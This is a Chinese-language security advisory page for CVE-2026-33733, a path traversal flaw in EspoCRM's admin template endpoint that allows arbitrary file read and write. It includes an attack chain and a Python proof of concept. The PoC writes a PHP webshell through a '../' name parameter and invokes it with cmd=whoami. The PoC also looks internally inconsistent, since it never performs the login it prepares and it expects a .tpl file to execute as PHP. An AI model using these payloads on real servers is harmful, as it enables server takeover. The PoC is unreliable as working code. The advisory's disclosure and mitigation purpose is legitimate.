IPBUF安全漏洞报告
English
CVE-2026-33733 CVSS 7.2 高危

CVE-2026-33733 EspoCRM 路径遍历致任意文件读写漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-33733
漏洞类型
路径遍历
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
EspoCRM

相关标签

路径遍历EspoCRM任意文件写入RCECVSS-7.2认证后攻击

漏洞概述

EspoCRM是一款开源的客户关系管理应用程序。在9.3.4版本之前,该软件的管理员模板管理端点存在严重安全缺陷。系统在处理模板路径时,直接接受了攻击者控制的`name`和`scope`参数,且未进行规范化处理或路径遍历过滤。这使得经过身份验证的管理员能够利用`../`序列逃逸出原本预定的模板目录。攻击者可借此读取、创建、覆盖或删除Web应用程序用户权限下的任意文件(解析为`body.tpl`或`subject.tpl`),从而导致敏感信息泄露或系统完整性被破坏。该问题已在9.3.4版本中修复。

技术细节

该漏洞的核心原因在于EspoCRM后端在构建模板文件路径时缺乏必要的输入验证机制。当管理员访问模板管理功能时,应用程序会将用户提交的`name`和`scope`参数直接拼接成文件系统路径。由于没有过滤`..`(父目录)字符,攻击者可以将路径引导至Web根目录或其他敏感位置。例如,通过构造`name=../../config.php`,攻击者可能覆盖配置文件;或者通过`name=../../custom/uploads/shell.php`写入Webshell。虽然漏洞利用需要管理员权限(PR:H),降低了被自动化攻击的风险,但一旦内网管理员凭证失陷,攻击者即可通过此漏洞完全控制服务器文件系统,实现远程代码执行或数据窃取。CVSS 3.1向量为AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H,反映了其对机密性、完整性和可用性的全面影响。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是EspoCRM,且版本低于9.3.4。
STEP 2
获取凭证
攻击者通过钓鱼、暴力破解或其他手段获取EspoCRM管理员账户的用户名和密码。
STEP 3
发送恶意请求
攻击者使用管理员凭证登录,向模板管理API端点发送特制的POST请求,在`name`参数中注入`../`路径遍历序列。
STEP 4
写入恶意文件
服务器端未过滤特殊字符,将攻击者提供的恶意内容(如Webshell代码)写入到遍历后的任意路径文件中。
STEP 5
执行代码
攻击者访问被写入的恶意文件,在服务器端执行任意系统命令,从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests """ PoC for CVE-2026-33733 (EspoCRM Path Traversal) This script attempts to write an arbitrary file using path traversal. """ def exploit(target_url, username, password): session = requests.Session() # Authenticate as admin login_payload = { "username": username, "password": password } login_url = f"{target_url}/api/v1/App/user" # Note: Actual login endpoint flow may vary based on EspoCRM configuration headers = { "Content-Type": "application/json" } # Target endpoint for template management # Vulnerable parameter: 'name' and 'scope' template_url = f"{target_url}/api/v1/Template" # Payload to write to a file outside the template directory # Using '../' to traverse directories exploit_data = { "name": "../../custom/hacked_body.tpl", # Path traversal payload "scope": "Global", "body": "<?php echo system($_GET['cmd']); ?>" # Malicious content } try: # Sending the malicious request response = session.post(template_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File likely written.") print(f"[+] Check file at: {target_url}/custom/hacked_body.tpl?cmd=whoami") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage target = "http://localhost/espocrm" user = "admin" pwd = "password" exploit(target, user, pwd)

影响范围

EspoCRM < 9.3.4

防御指南

临时缓解措施
如果无法立即升级版本,建议通过Web应用防火墙(WAF)部署规则,拦截包含`../`或路径遍历特征的恶意请求。同时,应加强对管理员账户的安全防护,启用多因素认证(MFA)以防凭证被盗。此外,可以暂时禁用非必要的管理员模板管理功能,或通过文件系统权限限制Web目录下的写入操作,只保留必要的可写目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表